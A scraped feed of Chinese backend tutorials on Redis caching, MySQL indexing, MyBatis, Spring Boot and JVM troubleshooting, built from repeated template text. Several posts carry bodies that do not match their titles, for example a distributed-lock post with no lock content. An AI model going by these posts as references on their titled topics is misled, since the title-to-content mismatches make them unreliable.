一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 Redis 分布式锁的正确姿势 //redis-fen-bu-shi-suo-de-zheng-que-zi-shi/ Redis 分布式锁的正确姿势

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 缓存穿透击穿雪崩怎么处理 //huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/ 缓存穿透击穿雪崩怎么处理

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

]]> Redis Redis 缓存 Redis 常见数据结构和使用场景 //redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/ Redis 常见数据结构和使用场景

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 数据库字段类型如何贴近业务 //shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/ 数据库字段类型如何贴近业务

字段类型的选择直接影响性能和数据完整性。本文从实际项目经验出发讲如何选。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 分页查询性能问题和游标分页 //fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/ 分页查询性能问题和游标分页

分页查询看似简单，但 offset 越来越大时性能会急剧下降。本文讲游标分页的实现方式和适用场景。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 慢 SQL 排查和优化完整流程 //man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/ 慢 SQL 排查和优化完整流程

慢 SQL 排查和优化完整流程是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 MySQL 事务隔离级别和幻读问题 //mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/ MySQL 事务隔离级别和幻读问题

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> MySQL SQL MySQL优化 EXPLAIN 执行计划应该看哪些字段 //explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/ EXPLAIN 执行计划应该看哪些字段

EXPLAIN 是优化 SQL 的入口工具，理解它的输出是每个后端工程师的基本功。本文讲清楚几个关键字段的含义。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 MySQL 索引设计的几个核心原则 //mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/ MySQL 索引设计的几个核心原则

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL SQL MySQL优化 MyBatis 批量插入和性能优化 //mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/ MyBatis 批量插入和性能优化

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis MyBatis 动态 SQL 的正确写法 //mybatis-dong-tai-sql-de-zheng-que-xie-fa/ MyBatis 动态 SQL 的正确写法

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis MyBatis 一级缓存和二级缓存怎么理解 //mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/ MyBatis 一级缓存和二级缓存怎么理解

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis Spring Boot 日志配置和链路排查 //spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/ Spring Boot 日志配置和链路排查

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot Spring Boot 参数校验和返回值封装 //spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/ Spring Boot 参数校验和返回值封装

参数校验和返回值封装是接口质量的第一道防线。本文讲 Spring Boot 中的标准做法和常见问题。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot Spring Boot 统一异常处理实践 //spring-boot-tong-yi-yi-chang-chu-li-shi-jian/ Spring Boot 统一异常处理实践

Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot Spring Boot 配置分环境的标准做法 //spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/ Spring Boot 配置分环境的标准做法

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot Bean 生命周期按步骤理解 //bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/ Bean 生命周期按步骤理解

Spring Bean 的生命周期一直是面试和日常开发中绕不开的话题。很多人知道有几个回调方法，但对执行顺序和实际应用场景并不清楚。本文按初始化到销毁的顺序，把关键节点梳理清楚，结合实际代码说明每个阶段的作用。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 构造器注入是 Spring 4.3+ 推荐的方式，能保证依赖在对象创建时就被注入

  2. @PostConstruct 和 InitializingBean.afterPropertiesSet() 的执行顺序很关键

  3. Aware 接口让 Bean 能够感知容器的上下文信息

  4. 销毁阶段的回调同样有两种方式：@PreDestroy 和 DisposableBean.destroy()

总结

理清 Bean 的生命周期，有助于理解 Spring 容器的工作机制，也能帮你在合适的时机执行初始化和清理逻辑。比如在 @PostConstruct 中建立数据库连接，在 @PreDestroy 中释放资源。

]]> Spring JAVA Spring Spring 事务失效的常见原因 //spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/ Spring 事务失效的常见原因

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> Spring JAVA Spring Spring AOP 的原理和常见应用 //spring-aop-de-yuan-li-he-chang-jian-ying-yong/ Spring AOP 的原理和常见应用

AOP 是 Spring 的核心功能之一，但真正用起来容易踩坑。很多人知道 @Aspect 注解，却不清楚代理模式的区别、切面的执行顺序、以及自调用失效的问题。本文从配置到常见问题，把实际项目中的处理思路整理出来。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. JDK 动态代理和 CGLIB 代理的区别：前者基于接口，后者基于类

  2. 切面的优先级由 @Order 注解控制，数字越小优先级越高

  3. 自调用问题的原因是内部方法调用不会经过代理对象

  4. 使用 ProxyUtils 或暴露 AopContext 可以解决自调用问题

总结

AOP 是实现横切关注点的利器，但需要理解其底层机制才能用好。在实际项目中，日志、事务、权限校验都是 AOP 的典型应用场景。

]]> Spring JAVA Spring Spring IoC 容器到底解决了什么 //spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/ Spring IoC 容器到底解决了什么

IoC 容器是 Spring 的根基，很多开发者每天在用却未必能说清它解决了什么。从手动 new 对象到依赖注入，这个转变看似简单，却带来了巨大的设计优势。本文从实际使用场景出发，理解依赖注入的价值。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 依赖注入实现了控制反转，把对象创建的控制权交给容器

  2. 构造器注入优于字段注入，能保证依赖的不可变性和非空性

  3. IoC 容器提供了对象生命周期管理、依赖解析、配置管理等能力

  4. 通过 @Autowired 或 @Resource 注解实现依赖注入，前者按类型，后者按名称

总结

IoC 不仅是一种技术实现，更是一种设计理念。它让代码更易测试、更易维护、更具扩展性。理解 IoC 有助于更好地设计和架构 Spring 应用。

]]> Spring JAVA Spring 内存溢出和内存泄漏排查流程 //nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/ 内存溢出和内存泄漏排查流程

内存溢出和内存泄漏在 Java 项目中并不少见。本文讲排查流程和常见原因。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
